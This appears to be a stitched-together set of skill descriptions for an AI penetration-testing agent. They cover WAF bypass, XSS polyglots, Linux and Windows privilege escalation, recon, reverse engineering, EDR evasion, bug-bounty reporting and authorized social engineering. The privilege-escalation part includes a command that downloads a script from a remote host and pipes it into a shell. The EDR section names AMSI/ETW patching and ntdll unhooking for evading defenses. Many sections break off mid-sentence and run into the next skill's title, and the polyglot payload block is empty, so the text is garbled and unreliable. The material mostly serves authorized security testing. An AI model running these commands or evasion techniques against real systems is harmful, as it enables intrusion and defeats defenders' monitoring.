A reverse shell makes the victim connect *out* to you (beating inbound firewalls); a bind shell
listens on the victim (use only when you can't receive connections). The victim's shell inherits no
PTY, so it's "dumb" until you attach one — the upgrade step gives you a full terminal.

# WAF / filter bypass
## When it applies
The vuln is real but a WAF or input filter blocks the exploit payload (sudden 403/406/429, a
block page, or your keyword silently stripped). You need the same payload in a form the filter
doesn't recognize but the backend still executes.
## Why it works
A WAF pattern-matches a normalized view of the request; the backend parses it differently.
Every gap between those two parsers — encoding, case, comments, alternate syntax, request
shape — is a bypass. The goal is a payload the WAF doesn't flag but the app still runs.
## Method (bypass axes — try in this order)
1. **Confirm it's the WAF, not "not vulnerable"**: does a benign version pass and the payloadpayloads-xss-polyglots
When your agent uses it
Context-breaking XSS polyglots and per-context payloads that fire across HTML/attribute/JS/ URL sinks in one shot. Load when confirming XSS fast, unsure of the injection context, or a single test payload should cover many contexts. Signals: reflected input, XSS triage, "polyglot".

# XSS polyglots & per-context payloads
## When it applies
You want one payload that reveals reflection/execution regardless of where it lands, then a
context-specific finisher once you know the spot. Pairs with `web-xss`.
## Why it works
A polyglot is crafted to be syntactically valid (and break out) in multiple contexts at once —
HTML body, attribute, JS string, comment — so a single injection surfaces the vulnerable context.
## Payloads
**Polyglot (fires broadly):**

# Local Privilege Escalation Arsenal
Loads once a foothold/shell exists and you need root/SYSTEM. Authorized, in-scope targets only.
Enumerate the cheap wins first (`sudo -l`, SUID, caps / `whoami /priv`) before reaching for
kernel or token exploits.
## Linux
### Automated enumeration
- **linpeas.sh** — one-shot enum of every common vector; run early. `curl 10.10.14.5:8000/linpeas.sh | sh` (or transfer + `./linpeas.sh -a`). Grep the output: red/yellow highlights = likely wins. Look for `sudo`, `SUID`, `Capabilities`, `writable` paths, `PATH`, cron, cleartext creds. Gotcha: noisy — pipe to a file (`./linpeas.sh > lp.txt`) and read it, don't scroll the terminal.
- **pspy** — watches processes/cron without root; catches root-run cron jobs and their commands. `./pspy64 -pf -i 1000` (`-p` procs, `-f` file events, `-i` poll ms). Gotcha: leave it running a few minutes to catch periodic cron.
- **linux-exploit-suggester** (LES) — maps `uname -a` / kernel to public exploits. `./les.sh` on target, or `./les.sh -k 5.4.0`. Treat output as leads to verify, not guaranteed.
- **LinEnum** — older but reliable broad enum; complements linpeas. `./LinEnum.sh -t` (`-t` = thorough).
privesc-enumeration
When your agent uses it
Systematic post-foothold host enumeration and credential/loot hunting on Linux and Windows — build situational awareness and find the lead that escalates or moves laterally. Load the moment you land a shell and think "now what?".

# Post-foothold enumeration & credential hunting
## When it applies
You have a shell as a low-privileged user and need to know what you're standing on and where to go
next. This is the situational-awareness pass that *precedes* escalation: it surfaces the leads that
`privesc-arsenal` (local privesc vectors) and `ad-pivot-arsenal` (domain) then exploit. On Windows
run `whoami /priv` and on Linux `sudo -l` first — an enabled privilege or sudo rule is a shortcut
past all of this.
## Why it works
Machines leak their own secrets: config files hold DB and service passwords, history files record
typed credentials, home directories and shares carry keys, and the OS records who runs what. A
methodical sweep — then a targeted grep for secrets — finds the reused password or private key that
turns one foothold into root/SYSTEM or the next host. Enumerate before you exploit; noise and deadprivesc-linux-gtfobins
When your agent uses it
Linux privilege escalation via sudo rules, SUID/SGID binaries, and capabilities using GTFOBins techniques. Load with a Linux shell needing root, on `sudo -l` output, SUID/`getcap` findings, or "escalate on Linux". Signals: allowed sudo commands, SUID binaries, file capabilities, cron/PATH abuse.

# Linux privesc via sudo / SUID / capabilities (GTFOBins)
## When it applies
You have a low-priv Linux shell. The fastest root is almost always a misconfig — a sudo rule, a
SUID binary, or a file capability that a known GTFOBins technique turns into a root shell or file
read/write. Do this before kernel exploits.
## Why it works
Many normal binaries can spawn shells, read/write files, or run commands. When such a binary runs
with elevated rights — via `sudo`, the SUID bit, or a capability like `cap_setuid` — that power
becomes yours. GTFOBins catalogs the exact escape for each binary.
## Method
1. **Enumerate the three vectors**:privesc-windows-tokens
When your agent uses it
Windows privilege escalation via token impersonation privileges — SeImpersonate/SeAssignPrimaryToken (the Potato family) and related token abuse to SYSTEM. Load with a Windows shell as a service/web account, on "SeImpersonate", "whoami /priv", IIS/MSSQL service context, or "got a shell on Windows".

# Windows token-impersonation privesc (Potato family)
## When it applies
You have code execution on Windows as a service or web account (IIS `iis apppool`, MSSQL, a service)
that holds **`SeImpersonatePrivilege`** (or `SeAssignPrimaryTokenPrivilege`). These accounts can't
do much directly but can impersonate a token — and coax SYSTEM into handing one over.
## Why it works
`SeImpersonate` lets a process act with any token it can obtain. The "Potato" technique tricks a
SYSTEM service (via a local RPC/named-pipe/COM authentication) into authenticating to an attacker-controlled
pipe; the low-priv process impersonates that SYSTEM token and spawns a process as SYSTEM.
## Method
1. **Confirm the privilege**: `whoami /priv` — look for `SeImpersonatePrivilege` (or `SeAssignPrimaryTokenPrivilege`) **Enabled**.recon-arsenal

# Recon / enumeration arsenal
Tool selection for port/host/service discovery on **authorized lab targets only**
(in-scope hosts recorded in `scope.txt`). Pick the tool, run the exact command,
log the reasoning in `notes.md`.
## 1. Port / service scanning
**nmap** — the workhorse; scriptable, accurate service/version detection, keeps you honest.
- `nmap -sC -sV -oA recon/nmap-tcp $TARGET` — `-sC` default NSE scripts, `-sV` version detection, `-oA` writes .nmap/.gnmap/.xml (feed later tools).
- `nmap -p- --min-rate 5000 -oA recon/nmap-allports $TARGET` — `-p-` all 65535 ports, `--min-rate` forces pace so it finishes.
- `nmap -sC -sV -p 22,80,445 -oA recon/nmap-targeted $TARGET` — re-scan only the ports `-p-` found, deeply.
- `nmap -sU --top-ports 100 -oA recon/nmap-udp $TARGET` — `-sU` UDP; slow, so cap to top ports.
- `nmap -sV --version-intensity 9 -p 4444 $TARGET` — max probe effort on a stubborn/unknown service port.recon-cloud-assets

# Cloud asset discovery
## When it applies
Recon on an org where a lot of surface lives in the cloud. Mapping the cloud footprint surfaces
storage exposure, forgotten apps, and IP ranges that feed the cloud-specific skills.
## Why it works
Cloud resources use predictable naming and public namespaces (S3 bucket names are global; app
services use `*.azurewebsites.net`, `*.appspot.com`, etc.). Permuting the org name across providers
reveals assets that aren't linked from the main site.
## Method

Azure blobs/apps, and GCP buckets/apps for names derived from the org.recon-content-discovery

# Content & endpoint discovery
## When it applies
You have a live host and need its *real* surface: hidden dirs, backups, admin panels, API
routes, and parameters — the inputs every other skill tests.
## Why it works
Apps expose far more than the UI links to. Historical URLs, JS bundles, and predictable paths
reveal endpoints (and params) that were never meant to be public or were left from old versions.
## Method
1. **Passive URL mining first**: `gau target.com` + `waybackurls` pull historical URLs (old
params, deprecated endpoints) with zero requests to the target.

# DNS analysis
## When it applies
Early recon and anytime you want surface/intel from DNS: subdomains, mail/infra hints, cloud
providers, dangling records (takeover leads), and origin IPs hiding behind a CDN.
## Why it works
DNS is a public map of an org's infrastructure. Records leak providers (CNAME → SaaS), mail and
SPF/DMARC hosts, and misconfigurations (open zone transfer dumps everything; NSEC lets you walk a
DNSSEC zone). Stale records point at deprovisioned services (→ takeover).
## Method
1. **Enumerate records**: `dig ANY domain`, plus explicit `A AAAA CNAME MX TXT NS SOA` — TXT/SPF
reveal third parties; MX reveals mail infra.recon-github-code-leaks

# GitHub code-leak discovery
## When it applies
Recon of an organisation whose developers publish code. Public repos, gists, and — crucially — old
commits routinely leak API keys, cloud credentials, internal hostnames, and endpoints that open a
foothold no scanner of the live app would find.
## Why it works
Secrets get committed and then "removed" in a later commit — but git keeps history, so the secret is
still reachable. Developers also mirror internal tooling, config, and infrastructure names into
public repos, handing you the attack surface and sometimes the keys to it.

# JavaScript analysis
## When it applies
The app is JS-heavy (SPA). The front-end bundle is a map of the backend: it references API
endpoints, parameters, feature flags, roles, and sometimes secrets — much of it not linked in the UI.
## Why it works
Client code must know how to call the server, so endpoints/params are embedded in JS. Bundlers
also occasionally ship source maps (full original source) and developers leave keys/comments.
## Method
1. **Collect all JS**: `katana -jc`, `subjs`, or crawl; grab every `.js` (incl. lazy-loaded chunks).
2. **Extract endpoints/params**: `linkfinder`/`jsluice` pull URLs, paths, and param names from bundles.

# Passive OSINT
## When it applies
Early recon, and anytime you want surface/intel without sending traffic to the target — safest,
often highest-signal (leaked keys, forgotten hosts, exposed services).
## Why it works
Organizations leak everywhere but their own site: search-engine indexes, public code, internet
scan databases, cloud metadata, and employee footprints. Aggregating these finds assets and
secrets the target doesn't know are exposed.
## Method
1. **Search dorks**: Google (`site: inurl: filetype: intitle:` for panels, configs, docs) and

# Subdomain & live-host enumeration
## When it applies
External, in-scope, wildcard programs where surface = subdomains. Do this before hunting;
most bugs live on forgotten hosts (staging, dev, legacy, acquisitions).
## Why it works
Organizations sprint faster than they inventory. Passive sources (CT logs, DNS aggregators)
plus permutation/brute-force surface hosts nobody remembers — and those skip the hardening
the flagship app got.
## Method
1. **Passive** (fast, quiet): `subfinder -d target.com -all -silent` and `amass enum -passive
-d target.com`. Pulls CT logs, PassiveDNS, search engines — no packets to the target.recon-techstack-fingerprinting

# Tech-stack fingerprinting
## When it applies
The start of any web/API engagement, before you pick techniques. Knowing the stack turns a generic
"test everything" into a targeted plan: a Rails app routes to mass-assignment and deserialization,
a GraphQL backend to `api-graphql`, a WAF in front changes your `payloads-waf-bypass` approach, and
a pinned version turns into a CVE shortlist. It is passive OSINT — public signals only, no exploit.
## Why it works
Applications advertise themselves constantly: response headers, cookie names, HTML generator tags,
JS bundle names, error pages, TLS certs, DNS/CDN records, public repos, and job postings all leak
the stack. Cross-correlating several weak signals gives a high-confidence picture no single tool
produces — and confidence is what keeps you from scoring a CVE against a wrong guess.

# Bug-bounty report & severity
## When it governs
After you've *reproduced* a finding and confirmed it's in scope. A great report gets triaged
fast and paid fairly; a sloppy one gets closed as informational regardless of the bug.
## Structure (what triagers want)
1. **Title** — `[Vuln class] on <asset> allows <impact>` (specific, no hype).
2. **Summary** — 2–3 sentences: what, where, why it matters.
3. **Severity** — CVSS 3.1 vector + score, reconciled with the program's VRT/policy. Justify the
Impact metrics from *demonstrated* impact, not theoretical maximum.
4. **Steps to reproduce** — numbered, copy-pasteable, from a clean session. Include exact
requests (method, URL, headers, body) and account roles used.
5. **Proof** — minimal PoC that proves impact (a screenshot with the URL bar, a request/responsereporting-cvss-scoring

# Severity & CVSS scoring
## When it applies
A finding is reproduced and you must put a number on it — for a report, a dispute, or triage. A
defensible score gets paid/prioritised fairly; an inflated one gets you closed as N/A and hurts your
credibility.
## Why it works
CVSS decomposes severity into metrics you justify one at a time from what you *proved*, not what's
theoretically possible. Grounding each metric in demonstrated impact makes the score arguable and
consistent, and mapping it to the program's scale turns it into the right payout/priority.

# Pre-handoff evidence review
## When it applies
The active work is done — findings drafted in `findings/`, `notes.md` complete, activity log
populated — and you're about to write the report (`reporting-pentest-report`,
`reporting-bug-bounty-writeup`) or hand the case to a teammate, client, or incident
stakeholder. This is a **read-only** audit of `engagements/<target>/`: it never touches the
target and never adds new testing. If a check fails, go back to the owning skill — don't patch
the report to hide the gap.
## Why it works
Reports get killed in review for the same few reasons: a finding with no reproducible proof, a
lead silently dropped, scope ambiguity, or an artifact that no longer matches its hash. A
structured pass over the package catches these while they're still cheap to fix and produces areporting-pentest-report

## When it applies
The report is in and now it's a conversation. How you handle triage largely decides the outcome — a
valid bug can be closed over a bad thread, and a borderline one can be paid with a clear, calm one.
## Why it works
Triagers process a queue under time pressure and act on what's in front of them. A report that
reproduces from the steps alone, and follow-ups that answer the exact question with evidence, remove
every reason to close it — while professionalism keeps the relationship (and your reputation) intact.
## Method
1. **Pre-empt questions** in the report: exact requests/responses, account roles, a clean-session
repro, and a crisp impact statement — most "need more info" rounds are avoidable.reporting-triage-validation
When your agent uses it
Validate a finding BEFORE you write it up — kill false positives, confirm real impact, check scope, and deduplicate. Load after a candidate bug and before reporting-bug-bounty-writeup or reporting-pentest-report. Signals: "I think I found", "is this reportable", a scanner hit, a reflected value, a 500 error, an open redirect, a CORS wildcard, "should I submit this".

# Triage & validation — earn the right to report
## When it applies
You have a *candidate* finding and you are about to spend an hour writing it up. Run this gate
first. It applies double on bug bounty (an invalid/duplicate report costs your signal and the
triager's time) and still matters on a pentest (a false positive in the report costs your
credibility with the client).
## Why it works
Most "findings" die on one of a few predictable questions. Asking them up front — cheaply, in
order — kills the weak ones before they cost report-writing time, and forces the survivors to
carry the evidence a triager actually needs. The rule is simple: **one failed gate = stop.**
## Method — four gates, in orderreverse-eng-binary-ninja
When your agent uses it
Reverse engineer in Binary Ninja — HLIL/MLIL/LLIL inspection, strings/imports/exports, cross-references, types, patching, Python API automation, and the optional MCP/HTTP bridge. Load when the user picks Binary Ninja, when its IL levels materially help data-flow analysis, or when IDA/Ghidra/radare2 results need an independent cross-check.

# Binary Ninja reverse engineering
## When it applies
You're analyzing an in-scope binary (`scope.txt` / client-owned / your own sample —
`tradecraft-scope-roe`) and Binary Ninja is the chosen tool, its intermediate languages genuinely help
(SSA-form data-flow questions), or a high-impact conclusion from `reverse-eng-ida`,
`reverse-eng-ghidra`, or `reverse-eng-radare2` deserves a second decompiler's opinion. Binary Ninja is
commercial software — it needs a valid Vector 35 license, installed by the user.
## Why it works
Binary Ninja lifts every function into layered ILs — LLIL close to the machine, MLIL in SSA form
(variables versioned, so data flow is explicit), HLIL close to source. Questions like "where does this
attacker-controlled value come from" become IL queries instead of manual register tracking, and the
whole analysis is scriptable through one Python `BinaryView` API.reverse-eng-binary-triage
When your agent uses it
Triage a native binary you can run or read — find the vulnerable logic, the dangerous sinks, and the input path — with static + dynamic analysis. Load when handed an ELF/PE/Mach-O, a thick client, a standalone or obfuscated binary, or a service whose source you don't have. Signals: a compiled executable in scope, "reverse this binary", a crash/segfault to understand, custom protocol, strings that hint at auth/secrets, a setuid binary during privesc.

# Native binary triage
## When it applies
You have a compiled binary — a thick desktop/mobile client, a network service, a setuid helper
during `privesc`, or a firmware component (`reverse-eng-firmware`) — and no source. You need to
understand what it does, where attacker input reaches, and whether that path is exploitable, before
committing to `exploit-poc-development`.
## Why it works
A binary carries its logic in the code and its intent in the strings, imports, and symbols.
Cheap static passes (strings, imports, cross-references) point straight at the interesting
functions; a debugger then confirms what actually happens at runtime, so you spend deep analysis
only on the paths that matter.
reverse-eng-deobfuscation
When your agent uses it
Peel obfuscation off code until it's readable or callable — packed native binaries, minified/ obfuscated JavaScript, WebAssembly, and JS-VM-protected (JSVMP) bundles. Load when analysis is blocked by protection layers. Signals: high-entropy sections, a tiny import table, UPX headers, string-array/control-flow-flattened JS, `_0x` variable names, a .wasm module, an interpreter loop over a bytecode array, anti-debugger `debugger;` traps.

# Deobfuscation
## When it applies
`reverse-eng-binary-triage` or `web-client-side-signing-bypass` stalls because the code is
protected: a packed executable, obfuscated JS whose logic you can't follow, a WASM blob doing the
real work, or a JSVMP interpreter running custom bytecode. You need to reduce the protection enough
to read the logic or call the function — no further.
## Why it works
Obfuscation raises the cost of reading, it doesn't change what the code *does* — the real behavior
is still there at runtime. So the shortest path is usually dynamic: let the code deobfuscate itself
(unpack in memory, evaluate the string array) and capture the result, rather than statically
undoing every transform.
reverse-eng-dotnet
When your agent uses it
Reverse a .NET / C# assembly — decompile, deobfuscate, debug, and IL-patch managed binaries. Load when the target is a managed PE (.exe/.dll with a CLR header), a Sharp* red-team tool (Rubeus, SharpHound, Seatbelt), a ConfuserEx/SmartAssembly/Babel/.NET-Reactor-obfuscated sample, or a .NET loader/stealer. Signals: "mscoree" / "_CorExeMain" / "mscorlib" strings, garbled Unicode class names in a decompiler, "deobfuscate this .NET", "patch/keygen a C# binary".

# .NET / C# assembly reversing
## When it applies
The binary is a managed .NET assembly — a thick client, a Sharp* red-team tool, or a captured
loader/stealer — and it is in scope (`tradecraft-scope-roe`, `scope.txt`). Pure-native PEs, IL2CPP
Unity builds, and NativeAOT output carry no CLR metadata: those go to `reverse-eng-binary-triage`.
dnSpyEx (the only GUI with an IL editor and debugger) is Windows-only; on Linux/macOS use
`ilspycmd` + `dotnet de4dot.dll` and accept that interactive patching/debugging needs Windows.
## Why it works
Managed assemblies keep near-complete metadata — type, method, and field names survive
compilation, so decompilation recovers close-to-source C#. Obfuscators only scramble names,
strings, and control flow, and de4dot automates the unscrambling for the common families. The IL
instruction stream is the ground truth: the C# view loses or distorts compiler-generated codereverse-eng-edr-analysis
When your agent uses it
Reverse engineer the EDR/AV on an authorized target host, then evade it — fingerprint the product, dump its userland hook table, and assemble a matching bypass stack: ntdll unhooking, direct/indirect syscalls (Hell's/Halo's/Tartarus Gate), ETW and AMSI patching, hardware-breakpoint Blindside, call-stack spoofing, PPID spoof, sleep masks. Load for "bypass EDR", implant OPSEC against CrowdStrike/Defender/SentinelOne, or when telemetry keeps killing your payload. Signals: unhook, direct syscall, ETW patch, AMSI patch, ETW-TI, Sysmon evasion, MITRE T1562. Pentest only.

# EDR analysis & evasion (red team)
## When it applies
An authorized red-team / adversary-emulation engagement requires an implant to survive on a host
running a modern EDR, or you're evaluating an EDR's detection coverage against your own
environment. Confirm the engagement covers defense evasion in writing first (`tradecraft-scope-roe`
+ `scope.txt`) — this is pentest-only, never bug bounty. You need the EDR's internals understood
(`reverse-eng-binary-triage` on its DLLs) before you can evade them deliberately.
## Why it works
An EDR is not a black box: it watches four surfaces — userland `ntdll` inline hooks, kernel
callbacks (Ps/Cm/Ob routines), ETW telemetry (notably the Threat-Intelligence provider), and AMSI
scans — and every one of them can be reverse engineered with IDA/windbg and then neutralized with a
matching technique. No single bypass is enough (unhooking doesn't stop ETW; an AMSI patch doesn'treverse-eng-firmware
When your agent uses it
Extract and analyze device firmware to find hardcoded secrets, backdoors, vulnerable services, and the real version behind an appliance. Load when you have a firmware image or can pull one. Signals: a .bin/.img firmware download, a router/IoT/appliance in scope, an OTA update file, a flash dump, "analyze this firmware", SquashFS/JFFS2/CramFS, U-Boot headers, hunting the code behind a CVE on FortiGate/Ivanti/etc.

# Firmware analysis
## When it applies
You have a firmware image — a vendor download, an OTA update, or a flash dump — for a router, IoT
device, or network appliance in scope. Offline firmware analysis is the static counterpart to
`network-appliance-attacks`: it explains *why* a device is vulnerable and often yields the exact
version, hardcoded creds, or patched-function diff behind an edge CVE.
## Why it works
Firmware ships the whole system: a packed filesystem, config, keys, and binaries. Vendors routinely
leave hardcoded credentials, private keys, debug/backdoor accounts, and old vulnerable services in
the image — all readable offline, with no traffic to the live device, once you carve the filesystem
out of the container.
reverse-eng-ghidra
When your agent uses it
Reverse engineer with Ghidra (GUI, headless, or ghidra-mcp) — decompile, cross-references, scripting — when there's no IDA license, for batch/CI decompilation, or as a free second opinion. Load for "decompile without IDA", bulk analysis of many samples, analyzeHeadless, Ghidra scripts (Jython/PyGhidra), or patch diffing with ghidriff. Signals: an ELF/PE needing a decompiler, "use Ghidra", headless automation, no commercial RE license.

# Ghidra reverse engineering
## When it applies
You need decompiler-grade analysis of an in-scope binary (`scope.txt` / client-owned / your own
sample — `tradecraft-scope-roe`) and there's no IDA license, or you need to process many samples in
batch or CI. Also the right call when a conclusion from `reverse-eng-ida` or `reverse-eng-radare2`
deserves an independent cross-check with a different decompiler.
## Why it works
Ghidra's P-code lifter gives one decompiler across dozens of architectures (x86/ARM/MIPS/PPC and
obscure firmware targets IDA may not load well), and headless mode turns the whole
import → analyze → decompile pipeline into a scriptable batch step — so bulk triage costs the same as
single-file analysis.
reverse-eng-go-rust
When your agent uses it
Reverse stripped Go and Rust binaries — recover symbols from pclntab/moduledata and panic metadata, then navigate language-specific idioms. Load when a stripped ELF/PE/Mach-O shows Go or Rust runtime residue. Signals: "go.buildid", "runtime.main" / "main.main", "panic:" or "rust_begin_unwind" strings, /rustc/ or src/*.rs paths, huge static binary with no symbols, Go malware, a Rust release build.

# Go / Rust binary reversing
## When it applies
You have a stripped binary in scope (`tradecraft-scope-roe`, `scope.txt`) and triage
(`reverse-eng-binary-triage`) shows Go or Rust residue — a Go malware sample, a Rust release
build, a Go-compiled red-team tool. Generic decompilation drowns you in runtime code; these
languages carry enough metadata to rebuild the symbol map first.
## Why it works
Both toolchains ship binaries that are mostly runtime, but both embed rich metadata: Go keeps the
pclntab (function names, file:line, type info) even when the symbol table is stripped, and Rust
leaks panic strings with full source paths. Recovering that metadata turns an anonymous blob back
into named functions, and the runtime residue itself fingerprints the language and version.
reverse-eng-ida
When your agent uses it
Deep reverse engineering in IDA Pro — Hex-Rays decompile, cross-references, types, patching — via the GUI or the ida-pro-mcp bridge for agent-driven analysis. Load when a PE/ELF/Mach-O/DLL/SYS needs pseudocode-grade analysis: license/serial checks, crypto or protocol recovery, a sink found during triage, malware capability mapping.

# IDA Pro deep analysis
## When it applies
You have an in-scope binary (confirmed in `scope.txt`, a client-owned thick client/service, or a sample
you own — see `tradecraft-scope-roe`) and cheap triage (`reverse-eng-binary-triage`) has surfaced
functions worth real decompilation: auth/license logic, custom crypto or protocol parsers, a suspected
vulnerable sink, or a malware sample whose capabilities you must map. Use `reverse-eng-radare2` for
fast CLI recon first; use `reverse-eng-ghidra` when there's no IDA license.
## Why it works
Hex-Rays recovers near-source pseudocode, and IDA's cross-reference database ties every string,
import, and data item to the code that touches it — so you navigate by *who uses this* instead of
reading linearly. Renaming and retyping as you go compounds: each good name makes the next function
cheaper to read.reverse-eng-js
When your agent uses it
Reverse front-end JavaScript end to end: trace which script fires a given request, capture a signing/encryption function's real inputs at runtime, then rebuild the algorithm locally in Node.js with evidence-driven environment shims until it reproduces the target parameter. Load when you need the *mechanism* behind client-computed params (sign, signature, _signature, X-Sign, token, encrypted bodies, anti-bot / risk-control fields), when webpack-minified or obfuscated JS hides the logic, or when you must trace an XHR/fetch/WebSocket trigger point.

# Front-end JavaScript reverse engineering
## When it applies
An in-scope web app computes something in JavaScript that you need to understand or reproduce:
a request signature, an encrypted body, anti-bot / risk-control fields, or a hidden WebSocket
protocol. `web-client-side-signing-bypass` covers the fast attack-side path (prove the guard is
client-side, get one replayable request); load *this* skill when you need the full algorithm
recovered and running locally in Node — for sustained fuzzing, logic audit, or documentation.
Target must be in `scope.txt` (`tradecraft-scope-roe`); observe only your own session.
## Why it works
The page must run the algorithm in the browser before the request leaves, so both the code and
every input to it are observable at runtime — minification only slows you down, it can't hide
execution. Break on the outgoing request, walk the call stack to the signing function, lift itreverse-eng-macos

# macOS / Mach-O reversing
## When it applies
The target is a Mach-O binary, dylib, framework, or `.app` bundle on macOS (or a sample you can
read offline), and it is in scope (`tradecraft-scope-roe`, `scope.txt`). iOS IPAs are a different
surface — treat them with the iOS assessment flow (`mobile-ios-assessment`). Typical jobs:
understand a thick client, audit a persistence item (LaunchAgent/Daemon), or analyze Apple-platform
malware.
## Why it works
Mach-O carries its trust model in-band: the code signature, entitlements, and load commands say
what the binary may do before you read a single instruction. Objective-C keeps class and selector
names in `__objc_*` sections and Swift symbols demangle to full signatures, so static recovery is
cheap — and Apple's own tools (`codesign`, `otool`, `lldb`, `log`) cover most of the workflow.reverse-eng-malware
When your agent uses it
Fully analyze a malware sample — static, dynamic, and behavioral — including unpacking and IAT rebuild, import-table triage, anti-analysis detection and defeat, IOC extraction, and YARA/Sigma rule writing. Load when handed a suspicious PE/ELF/Mach-O/script sample to reverse beyond quick triage: packed binaries, "analyze this malware", a sandbox run that shows no behavior, or a need for durable detection.

# Malware analysis (deep RE)
## When it applies
`defense-malware-triage` gave a verdict and you need the deep dive: a packed or obfuscated sample, a
family you must write durable detection for, or an implant recovered on an engagement whose C2,
injection, and persistence mechanisms you need to document. Covers EXE / DLL / SYS / .NET and script
droppers (bat, ps1, vba). Always work inside an isolated analysis VM — detonating an unknown sample
on a real host is itself an incident.
## Why it works
Malware hides its intent behind packing, dynamic API resolution, and environment checks, but every
layer must eventually resolve to real API calls and real behavior. Static analysis maps the
capabilities; a debugger or sandbox catches what only exists at runtime (decrypted strings, resolved
imports, injected code). Detection written on code/string internals — not hashes — survivesreverse-eng-patch-diff

# N-day patch diffing to exploit
## When it applies
A vendor shipped a fix but no details: a CVE advisory says "out-of-bounds write in component
X" with no PoC, a Patch Tuesday drop needs triage, or a Linux distro backport may be
incomplete on some branch. The goal is to recover *what the patch fixed* and prove the bug
against the unpatched build. Weaponizing an N-day is only legitimate against in-scope,
authorized targets (a program that accepts it, an engagement, your own lab) — confirm with
`tradecraft-scope-roe` and record it in `scope.txt`.
## Why it works
A security patch is a confession. The added bounds check, lock, zeroing, or refcount tells you
exactly which invariant the old code violated — and the unpatched binary still violates it.
Diff the two builds, filter to functions that changed *moderately* (identical = untouched,reverse-eng-protocol

# Custom protocol reverse engineering
## When it applies
The target speaks something that isn't plain HTTP/JSON: a custom binary TCP/UDP protocol,
Protobuf/gRPC with no reflection, FlatBuffers/MessagePack, WebSocket or MQTT frames, or a
private RPC format — and you have a PCAP, a proxy export, client logs, or the client binary.
(For pure HTTP parameter signing in JS, use `reverse-eng-js`; for gRPC's HTTP/2 attack surface
itself, `api-grpc`.) Target and any replay testing must be in `scope.txt`
(`tradecraft-scope-roe`) — replay only against systems you're authorized to touch.
## Why it works
Protocols are machines, and machines are regular: fixed headers, magic bytes, length fields,
monotonic sequence numbers, and repeated type-length-value structures. Align many samples of
the same message type and the invariant bytes identify themselves; the variable ones are yourreverse-eng-radare2

# radare2 CLI analysis
## When it applies
You need fast, scriptable analysis of an in-scope binary (`scope.txt` / client-owned / your own sample —
`tradecraft-scope-roe`) from a terminal: first-pass recon before opening a heavyweight decompiler,
CI/SSH environments with no GUI, quick patches and diffs, or r2 automation. When you need
pseudocode-grade reading, hand off to `reverse-eng-ida` or `reverse-eng-ghidra` — r2's job is speed
and scriptability, not decompilation. For obfuscated JavaScript, that's `reverse-eng-deobfuscation`,
not this skill.
## Why it works
Every r2 operation is a composable command — the same one-liners work interactively, in batch
(`-c "..."`), over HTTP, or via r2pipe from any language — so recon that costs minutes in a GUI costs
seconds here, and every step is reproducible by construction.reverse-eng-thick-client
When your agent uses it
Security-test a desktop thick client end to end: map its trust boundaries, then work the local attack surface (config files, credential storage, IPC, update channel) and the network surface (proxying, certificate pinning, hidden APIs). Load for a C/S desktop app in scope — Electron, Qt, .NET WinForms/WPF, or native — an installer to audit, local config/credential storage to assess, named pipes or loopback IPC, an auto-update channel, or a client that hides admin-only API calls.

# Thick client security testing
## When it applies
The engagement includes a desktop application — a client-server (C/S) client built on
Electron, Qt, .NET WinForms/WPF, or native code — rather than a pure web app. Typical triggers:
an installer in scope, credentials cached locally, an auto-updater, a loopback port or named
pipe, or API calls the UI never exposes. Record the installer source and the test accounts in
`scope.txt` (`tradecraft-scope-roe`); test only machines and accounts you're authorized for.
## Why it works
A thick client is a server-side trust boundary shipped to an attacker-controlled machine:
everything it stores, every check it enforces locally, and every API it knows how to call is
yours to read. The client cannot keep secrets from its operator — so hardcoded keys, hidden
admin endpoints, and client-enforced validation are structural findings, not luck.social-eng-methodology
When your agent uses it
Plan and run an AUTHORIZED social-engineering assessment safely — the load-first guardrails for any human-factor test. Load before any phishing, vishing, pretext, or physical work. Signals: "social engineering", "phishing assessment", "test our employees", "security awareness", a human-factor objective in a pentest SoW. Establishes authorization, safety, tracking, and the awareness-focused report.

# Social-engineering engagement methodology
## When this governs
Load this **first**, before any phishing/vishing/pretext/physical skill. Social engineering targets
*people*, so it carries authorization and duty-of-care requirements beyond a normal technical test.
This is `pentest`-only: it is never run against a bug-bounty target, and never against individuals
or organizations that have not authorized it in writing.
## Authorization — stricter than technical scope
On top of `tradecraft-scope-roe`, an SE engagement requires, in writing, before anything:
- **Explicit sign-off from someone empowered to consent for the employees being tested** (not just
IT) — SE tests real staff, so leadership/HR/legal must have approved the human-factor testing.
- **The pretext boundaries**: which themes are allowed and which are off-limits (no fake layoffs,
bonuses, medical/family emergencies, or anything that causes real distress or coerces protectedsocial-eng-phishing
When your agent uses it
Run an authorized phishing / spear-phishing assessment that measures human-factor risk — pretext, delivery, landing page, and tracking — without harming staff or hoarding real data. Load after social-eng-methodology when the objective is email-based (click, credential submission, or report rate). Signals: "phishing test", "simulated phishing", "test click rate", "credential harvesting assessment", awareness-campaign objective.

# Phishing assessment
## When it applies
The engagement authorizes an email human-factor test and you've cleared `social-eng-methodology`
(authorization, allowed pretext themes, target boundaries, no-harm line). The goal is a
*measurement* — click rate, credential-submission rate, and, most importantly, the **report rate**
— not to embarrass anyone.
## Why it works
Phishing exploits trust and context, not a software bug: a message that looks like it comes from a
trusted source, with a plausible reason to act now, gets clicks even from trained users. Measuring
that safely tells the client where awareness and technical controls (MFA, mail filtering, reporting
tooling) need to improve.
social-eng-physical
When your agent uses it
Run an authorized physical social-engineering assessment — tailgating, pretext entry, badge/RFID cloning checks, and media-drop tests — to measure physical and human access controls safely. Load after social-eng-methodology when the objective is on-site. Signals: "physical pentest", "test our building access", "tailgating", "badge cloning", "USB drop", "can we get into the office/data center". Requires a carried authorization letter.

# Physical assessment
## When it applies
The engagement authorizes on-site testing (cleared via `social-eng-methodology`) with a defined
objective — reach a floor/room, plug into the network, or drop test media — to measure physical
access controls and staff response. Physical work has the highest real-world risk (police, injury,
genuine alarm), so the guardrails are non-negotiable.
## Why it works
Physical security leans on people extending courtesy (holding a door), trusting a uniform or a
confident manner, and following habit over procedure. A tester with a plausible pretext and a hi-vis
vest often walks past controls that are technically sound — the finding is the *procedural/behavioral
gap*, captured with minimum intrusion.
social-eng-vishing-pretext
When your agent uses it
Run authorized voice-phishing (vishing) and pretext-based scenarios that test whether staff and help desks follow verification procedures — safely and by consent. Load after social-eng-methodology when the objective is phone/live-interaction based (help-desk password reset, MFA-reset abuse, pretext callback). Signals: "vishing", "call the help desk", "pretext", "test our verification process", "MFA reset social engineering".

# Vishing & pretexting
## When it applies
The engagement authorizes live-interaction testing (cleared via `social-eng-methodology`) and the
objective is a process test: will the help desk reset a password or MFA without proper verification?
